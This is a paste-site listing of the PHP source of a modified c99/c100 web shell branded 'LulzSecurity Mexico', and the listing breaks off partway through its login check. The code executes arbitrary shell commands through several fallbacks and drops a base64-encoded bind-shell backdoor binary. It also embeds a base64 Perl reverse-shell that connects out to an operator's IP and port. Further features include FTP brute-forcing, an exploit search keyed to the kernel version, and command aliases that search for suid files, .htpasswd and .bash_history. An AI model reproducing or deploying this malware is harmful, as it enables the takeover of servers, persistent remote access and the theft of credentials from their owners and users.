LulzSecurity Mexico Modified c10

From RubberDuck, 4 Years ago, written in Plain Text, viewed 1'308 times.
URL http://paste.security-portal.cz/view/79c58062 Embed
Download Paste or View Raw
  1. <?php
  2.  
  3. /******************************************
  4. *  LulzSecurity Mexico Modified c100 Shell*                                                                                                                        
  5. *******************************************/
  6.  
  7.  
  8. //Proxy via Google
  9.  
  10. function selfURL() { $s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : ""; $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s; $port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]); return $protocol."://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI']; } function strleft($s1, $s2) { return substr($s1, 0, strpos($s1, $s2)); }
  11. $phprox="http://www.google.com/custom?client=pub-8349978200855722&cof=FORID%3A1%3BGL%3A1%3BLBGC%3A336699%3BLC%3A%230000ff%3BVLC%3A%23663399%3BGFNT%3A%230000ff%3BGIMP%3A%230000ff%3BDIV%3A%23336699%3B&hl=en&ie=ISO-8859-1&oe=ISO-8859-1&q=lulz+security+Mexico&btnG=Search";
  12.  
  13. //end of link
  14.  
  15.  
  16. //Exploits search
  17. $Lversion = php_uname(r);
  18. $OSV = php_uname(s);
  19. if(eregi("Linux",$OSV))
  20. {
  21. $Lversion=substr($Lversion,0,6);
  22. $millink="http://toexploit.com/search/Linux Kernel ".$Lversion;
  23. }else{
  24. $Lversion=substr($Lversion,0,3);
  25. $millink="http://toexploit.com/search/".$OSV." ".$Lversion;
  26. }
  27. //End of milw0rm search
  28.  
  29.  
  30. //w4ck1ng Shell
  31. if (!function_exists("myshellexec"))
  32. {
  33. if(is_callable("popen")){
  34. function myshellexec($command) {
  35. if (!($p=popen("($command)2>&1","r"))) {
  36. return 126;
  37. }
  38. while (!feof($p)) {
  39. $line=fgets($p,1000);
  40. $out .= $line;
  41. }
  42. pclose($p);
  43. return $out;
  44. }
  45. }else{
  46. function myshellexec($cmd)
  47. {
  48.  global $disablefunc;
  49.  $result = "";
  50.  if (!empty($cmd))
  51.  {
  52.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  53.   elseif (($result = `$cmd`) !== FALSE) {}
  54.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  55.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  56.   elseif (is_resource($fp = popen($cmd,"r")))
  57.   {
  58.    $result = "";
  59.    while(!feof($fp)) {$result .= fread($fp,1024);}
  60.    pclose($fp);
  61.   }
  62.  }
  63.  return $result;
  64. }
  65. }
  66. }
  67.  
  68. $proxy_shit="H4sIALMXx0QAA+RafXhU1Zm/M5mBAUJmUD4i2hKsKFSBhC9RRFN1FK1bRpSK1jXEfHCD+Spzp0AfkLjDrIzD2NiK0qe1Gx+0i61d6YqCrdEgSIJGn6DzdNPKyoAB7zCjRhglQGD2/b3n3Lk3Icg/6x/77MCZc37nvOf9Ou8577k3M8VfoZXWTlW+zU8hfa6eOZProhnT+9TyoxQVzphVNKto+qzCIqWwqGgWdRXM/Fa1kp+AXytdVlCg1NY9WFe+8tx05xv/P/qZItZf1bT68m9LBhZ41owZA69/UVHhtOmzsus/8+pCWv9ps2bOUgoKvy2FrJ//5+u/xnvHLTabLYvtSo4CNPFxh2sG1Y3LRf8MpUAZpExULlXGUQ1MpYFoqLRQG8VJxUElh0oahcZQLqT2hXLMJgt/aAxl6QJFQcF8xSPGGwg3HHS4UF4coiiLiMEgOW6nqvw+KkccLpQOwiiDpAwUFzFxPeJwoRQQLrCMTa2uenBqdfnk6qrawIop/rop00S/R+p2648WSl+YnwlU5lCZROVqiSdKmdbPNVTGUJklfQSbLqZCIpTLqVxAJZ9KERWcb5d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mgQIBwkAADyaBAgHCgAAQJoECAcLAABEmgQIBwwAAEiaBAgHDQAATJoECAcOAABQmgQIBw8AAFSaBAgHEQAAVYnlg+wI6EEBAADolAEAAOjnAwAAycMA/zUQmgQI/yUUmgQIAAAAAP8lGJoECGgAAAAA6eD/////JRyaBAhoCAAAAOnQ/////yUgmgQIaBAAAADpwP////8lJJoECGgYAAAA6bD/////JSiaBAhoIAAAAOmg/////yUsmgQIaCgAAADpkP////8lMJoECGgwAAAA6YD/////JTSaBAhoOAAAAOlw/////yU4mgQIaEAAAADpYP////8lPJoECGhIAAAA6VD/////JUCaBAhoUAAAAOlA/////yVEmgQIaFgAAADpMP////8lSJoECGhgAAAA6SD/////JUyaBAhoaAAAAOkQ/////yVQmgQIaHAAAADpAP////8lVJoECGh4AAAA6fD+//8x7V6J4YPk8FBUUmhoiAQIaBSIBAhRVmiAhgQI6E/////0kJBVieVT6AAAAABbgcMHFAAAUouD/P///4XAdAL/0FhbycOQkJBVieWD7AiAPWSaBAgAdA/rH412AIPABKNgmgQI/9KhYJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+DxBCJRcyD7AiLRQyDwASD7AT/MOgI/v//g8QIicOLRQyDwAiD7AT/MOjz/f//g8QIjQQDQFCLRQyDwAT/MOgu/v//g8QQg+wEagZqAWoC6G3+//+DxBCJReSD7ARqEI1FyFD/deToRv7//4PEEIXAeRqD7AxoCYkECOhy/f//g8QQg+wMagDo9f3//4PsCItFDP8wjUWoUOjE/f//g8QQg+wMjUWoUOhV/f//g8QQg+wIagD/deTolf3//4PEEIPs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JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9Ik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AF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
  75.  
  76. function checkproxyhost(){
  77. $host = getenv("HTTP_HOST");
  78. $filename = '/tmp/.setan/xh';
  79. if (file_exists($filename)) {
  80. $_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS  installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>";
  81. } else {
  82. $_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>";
  83.  }
  84. }
  85.  
  86. if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd"))
  87. {
  88.  $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  89.  $por = $_POST['backconnectport'];
  90.  if(is_writable(".")){
  91.  cfb("shbd",$backdoor);
  92.  ex("chmod 777 shbd");
  93.  $cmd = "./shbd $por";
  94.  exec("$cmd > /dev/null &");
  95.  $scan = myshellexec("ps aux");
  96.  if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
  97.  $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
  98.  }else{
  99.  cfb("/tmp/shbd",$backdoor);
  100.  ex("chmod 777 /tmp/shbd");
  101.  $cmd = "./tmp/shbd $por";
  102.  exec("$cmd > /dev/null &");
  103.  $scan = myshellexec("ps aux");
  104.  if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); }
  105.  $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data";
  106. }
  107. }
  108.  
  109. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl"))
  110. {
  111.  if(is_writable(".")){
  112.  cf("back",$back_connect);
  113.  $p2=which("perl");
  114.  $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  115.  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  116.  if (file_exists("back")) { unlink("back"); }
  117.  }else{
  118.  cf("/tmp/back",$back_connect);
  119.  $p2=which("perl");
  120.  $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  121.  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  122.  if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
  123. }
  124. }
  125.  
  126. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C"))
  127. {
  128.  if(is_writable(".")){
  129.  cf("backc",$back_connect_c);
  130.  ex("chmod 777 backc");
  131.  //$blah = ex("gcc back.c -o backc");
  132.  $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  133.  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  134.  //if (file_exists("back.c")) { unlink("back.c"); }
  135.  if (file_exists("backc")) { unlink("backc"); }
  136.  }else{
  137.  ex("chmod 777 /tmp/backc");
  138.  cf("/tmp/backc",$back_connect_c);
  139.  //$blah = ex("gcc -o /tmp/backc /tmp/back.c");
  140.  $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  141.  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  142.  //if (file_exists("back.c")) { unlink("back.c"); }
  143.  if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } }
  144. }
  145.  
  146. function cf($fname,$text)
  147. {
  148.  $w_file=@fopen($fname,"w") or err();
  149.  if($w_file)
  150.  {
  151.  @fputs($w_file,@base64_decode($text));
  152.  @fclose($w_file);
  153.  }
  154. }
  155.  
  156. function cfb($fname,$text)
  157. {
  158.  $w_file=@fopen($fname,"w") or bberr();
  159.  if($w_file)
  160.  {
  161.  @fputs($w_file,@base64_decode($text));
  162.  @fclose($w_file);
  163.  }
  164. }
  165.  
  166. function err()
  167. {
  168. $_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>";
  169. }
  170.  
  171. function bberr()
  172. {
  173. $_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>";
  174. }
  175.  
  176. function which($pr)
  177. {
  178. $path = ex("which $pr");
  179. if(!empty($path)) { return $path; } else { return $pr; }
  180. }
  181. function ex($cfe)
  182. {
  183.  $res = '';
  184.  if (!empty($cfe))
  185.  {
  186.   if(function_exists('exec'))
  187.    {
  188.     @exec($cfe,$res);
  189.     $res = join("\n",$res);
  190.    }
  191.   elseif(function_exists('shell_exec'))
  192.    {
  193.     $res = @shell_exec($cfe);
  194.    }
  195.   elseif(function_exists('system'))
  196.    {
  197.     @ob_start();
  198.     @system($cfe);
  199.     $res = @ob_get_contents();
  200.     @ob_end_clean();
  201.    }
  202.   elseif(function_exists('passthru'))
  203.    {
  204.     @ob_start();
  205.     @passthru($cfe);
  206.     $res = @ob_get_contents();
  207.     @ob_end_clean();
  208.    }
  209.   elseif(@is_resource($f = @popen($cfe,"r")))
  210.   {
  211.    $res = "";
  212.    while(!@feof($f)) { $res .= @fread($f,1024); }
  213.    @pclose($f);
  214.   }
  215.  }
  216.  return $res;
  217. }
  218. //EoW
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235. //Start Enumerate function
  236. //function ENUMERATE()
  237.  
  238. $hostname_x=php_uname(n);
  239. $itshome = getcwd();
  240. $itshome = str_replace("/home/","~",$itshome);
  241. $itshome = str_replace("/public_html","/x2300.php",$itshome);
  242. $enumerate = "http://".$hostname_x."/".$itshome."";
  243.  
  244. //End Enumerate function
  245.  
  246. //Starting calls
  247. ini_set("max_execution_time",0);
  248. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  249. error_reporting(5);
  250. $adires="";
  251. @ignore_user_abort(TRUE);
  252. @set_magic_quotes_runtime(0);
  253. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  254. define("starttime",getmicrotime());
  255. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  256. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  257. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  258.  
  259. $shver = "1.0a beta"; //Current version
  260. //CONFIGURATION AND SETTINGS
  261. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  262. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  263. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  264. }
  265.  
  266. $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
  267.  
  268. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  269. if (empty($surl))
  270. {
  271.  $surl = "?".$includestr; //Self url
  272. }
  273. $surl = htmlspecialchars($surl);
  274.  
  275. $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
  276.  
  277. //Authentication
  278. $login = ""; //login
  279. //DON'T FORGOT ABOUT PASSWORD!!!
  280. $pass = ""; //password
  281. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  282.  
  283. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  284. $login_txt = "Restricted area"; //http-auth message.
  285. $accessdeniedmess = "<a href=\"http://locus7s.com\">x2300 Locus7Shell v.".$shver."</a>: access denied";
  286.  
  287. $gzipencode = TRUE; //Encode with gzip?
  288.  
  289. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  290.  
  291. $c99sh_updateurl = "http://locus7s.com/files/lshell_update/"; //Update server
  292. $c99sh_sourcesurl = "http://locus7s.com/"; //Sources-server
  293.  
  294. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  295.  
  296. $donated_html = "<center><b>Shell Locus ##LulzSec## </b></center>";
  297. /* If you publish free shell and you wish
  298. add link to your site or any other information,
  299. put here your html. */
  300. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  301.  
  302. $curdir = "./"; //start folder
  303. //$curdir = getenv("DOCUMENT_ROOT");
  304. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  305. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  306.  
  307. $log_email = "user@host.tld"; //Default e-mail for sending logs
  308.  
  309. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  310. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  311.  
  312. // Registered file-types.
  313. //  array(
  314. //   "{action1}"=>array("ext1","ext2","ext3",...),
  315. //   "{action2}"=>array("ext4","ext5","ext6",...),
  316. //   ...
  317. //  )
  318. $ftypes  = array(
  319.  "html"=>array("html","htm","shtml"),
  320.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  321.  "exe"=>array("sh","install","bat","cmd"),
  322.  "ini"=>array("ini","inf"),
  323.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  324.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  325.  "sdb"=>array("sdb"),
  326.  "phpsess"=>array("sess"),
  327.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  328. );
  329.  
  330. // Registered executable file-types.
  331. //  array(
  332. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  333. //   ...
  334. //  )
  335. //   {command}: %f% = filename
  336. $dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin);
  337. if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);}
  338. $dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin);
  339. if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;}
  340. $dizin = str_replace("\\\\","\\",$dizin);
  341. $dizinispd = htmlspecialchars($dizin);
  342. /*dizin*/
  343. $real = realpath($dizinispd);
  344. $path = basename ($PHP_SELF);
  345. function dosyayicek($link,$file)
  346. {
  347.    $fp = @fopen($link,"r");
  348.    while(!feof($fp))
  349.    {
  350.        $cont.= fread($fp,1024);
  351.    }
  352.    fclose($fp);
  353.  
  354.    $fp2 = @fopen($file,"w");
  355.    fwrite($fp2,$cont);
  356.    fclose($fp2);
  357. }
  358.  
  359.  
  360.  
  361.  
  362. $exeftypes  = array(
  363.  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  364.  "perl %f%" => array("pl","cgi")
  365. );
  366.  
  367. /* Highlighted files.
  368.   array(
  369.    i=>array({regexp},{type},{opentag},{closetag},{break})
  370.    ...
  371.   )
  372.   string {regexp} - regular exp.
  373.   int {type}:
  374. 0 - files and folders (as default),
  375. 1 - files only, 2 - folders only
  376.   string {opentag} - open html-tag, e.g. "<b>" (default)
  377.   string {closetag} - close html-tag, e.g. "</b>" (default)
  378.   bool {break} - if TRUE and found match then break
  379. */
  380. $regxp_highlight  = array(
  381.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  382.   array("config.php",1) // example
  383. );
  384.  
  385. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  386.  // array (i=>{letter} ...); string {letter} - letter of a drive
  387. //$safemode_diskettes = range("a","z");
  388. $hexdump_lines = 8;// lines in hex preview file
  389. $hexdump_rows = 24;// 16, 24 or 32 bytes in one line
  390.  
  391. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  392.  
  393. $bindport_pass = "c99";  // default password for binding
  394. $bindport_port = "31373"; // default port for binding
  395. $bc_port = "31373"; // default port for back-connect
  396. $datapipe_localport = "8081"; // default port for datapipe
  397. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  398. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  399. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  400. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  401. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  402. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  403. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  404.  
  405. // Command-aliases
  406. if (!$win)
  407. {
  408.  $cmdaliases = array(
  409.   array("-----------------------------------------------------------", "ls -la"),
  410.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  411.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  412.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  413.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  414.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  415.   array("find config* files", "find / -type f -name \"config*\""),
  416.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  417.   array("find all writable folders and files", "find / -perm -2 -ls"),
  418.   array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  419.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  420.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  421.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  422.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  423.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  424.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  425.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  426.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  427.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  428.   array("show opened ports", "netstat -an | grep -i listen")
  429.  );
  430. }
  431. else
  432. {
  433.  $cmdaliases = array(
  434.   array("-----------------------------------------------------------", "dir"),
  435.   array("show opened ports", "netstat -an")
  436.  );
  437. }
  438.  
  439. $sess_cookie = "c99shvars"; // Cookie-variable name
  440.  
  441. $usefsbuff = TRUE; //Buffer-function
  442. $copy_unset = FALSE; //Remove copied files from buffer after pasting
  443.  
  444. //Quick launch
  445. $quicklaunch = array(
  446.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  447.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  448.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  449.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  450.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  451.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  452.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  453.  array("<b>[Encoder]</b>",$surl."act=encoder&d=%d"),
  454.  array("<b>[Tools]</b>",$surl."act=tools&d=%d"),
  455.  array("<b>[Proc.]</b>",$surl."act=processes&d=%d"),
  456.  array("<b>[FTP Brute]</b>",$surl."act=ftpquickbrute&d=%d"),
  457.  array("<b>[Sec.]</b>",$surl."act=security&d=%d"),
  458.  array("<b>[SQL]</b>",$surl."act=sql&d=%d"),
  459.  array("<b>[PHP-Code]</b>",$surl."act=eval&d=%d"),
  460.  array("<b>[Backdoor]</b>",$surl."act=shbd"),
  461.  array("<b>[Rooting]</b>",$surl."act=backc"),
  462.  array("<b>[Exploit!]</b>",$millink),
  463.  array("<b>[Google-Proxy]</b>",$phprox),
  464.  array("<b>[Remove]</b></center>",$surl."act=selfremove")
  465. );
  466.  
  467. //Highlight-code colors
  468. $highlight_background = "#c0c0c0";
  469. $highlight_bg = "#FFFFFF";
  470. $highlight_comment = "#6A6A6A";
  471. $highlight_default = "#0000BB";
  472. $highlight_html = "#1300FF";
  473. $highlight_keyword = "#007700";
  474. $highlight_string = "#000000";
  475.  
  476. @$f = $_REQUEST["f"];
  477. @extract($_REQUEST["c99shcook"]);
  478.  
  479. //END CONFIGURATION
  480.  
  481.  
  482. // \/Next code isn't for editing\/
  483. /*function ex($cfe)
  484. {
  485.  $res = '';
  486.  if (!empty($cfe))
  487.  {
  488.   if(function_exists('exec'))
  489.    {
  490.     @exec($cfe,$res);
  491.     $res = join("\n",$res);
  492.    }
  493.   elseif(function_exists('shell_exec'))
  494.    {
  495.     $res = @shell_exec($cfe);
  496.    }
  497.   elseif(function_exists('system'))
  498.    {
  499.     @ob_start();
  500.     @system($cfe);
  501.     $res = @ob_get_contents();
  502.     @ob_end_clean();
  503.    }
  504.   elseif(function_exists('passthru'))
  505.    {
  506.     @ob_start();
  507.     @passthru($cfe);
  508.     $res = @ob_get_contents();
  509.     @ob_end_clean();
  510.    }
  511.   elseif(@is_resource($f = @popen($cfe,"r")))
  512.   {
  513.    $res = "";
  514.    while(!@feof($f)) { $res .= @fread($f,1024); }
  515.    @pclose($f);
  516.   }
  517.  }
  518.  return $res;
  519. }*/
  520. /*function which($pr)
  521. {
  522. $path = ex("which $pr");
  523. if(!empty($path)) { return $path; } else { return $pr; }
  524. }
  525.  
  526. function cf($fname,$text)
  527. {
  528.  $w_file=@fopen($fname,"w") or err(0);
  529.  if($w_file)
  530.  {
  531.  @fputs($w_file,@base64_decode($text));
  532.  @fclose($w_file);
  533.  }
  534. }*/
  535. /*function err($n,$txt='')
  536. {
  537. echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>';    
  538. echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
  539. if(!empty($txt)) { echo " $txt"; }
  540. echo '</b></div></font></td></tr></table>';
  541. return null;
  542. }*/
  543. @set_time_limit(0);
  544. $tmp = array();
  545. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  546. $s = "!^(".implode("|",$tmp).")$!i";
  547. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://locus7s.com/\">x2300 Shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  548. if (!empty($login))
  549. {
  550.  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  551.  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  552.  {
  553.   if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  554.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  555.   header("HTTP/1.0 401 Unauthorized");
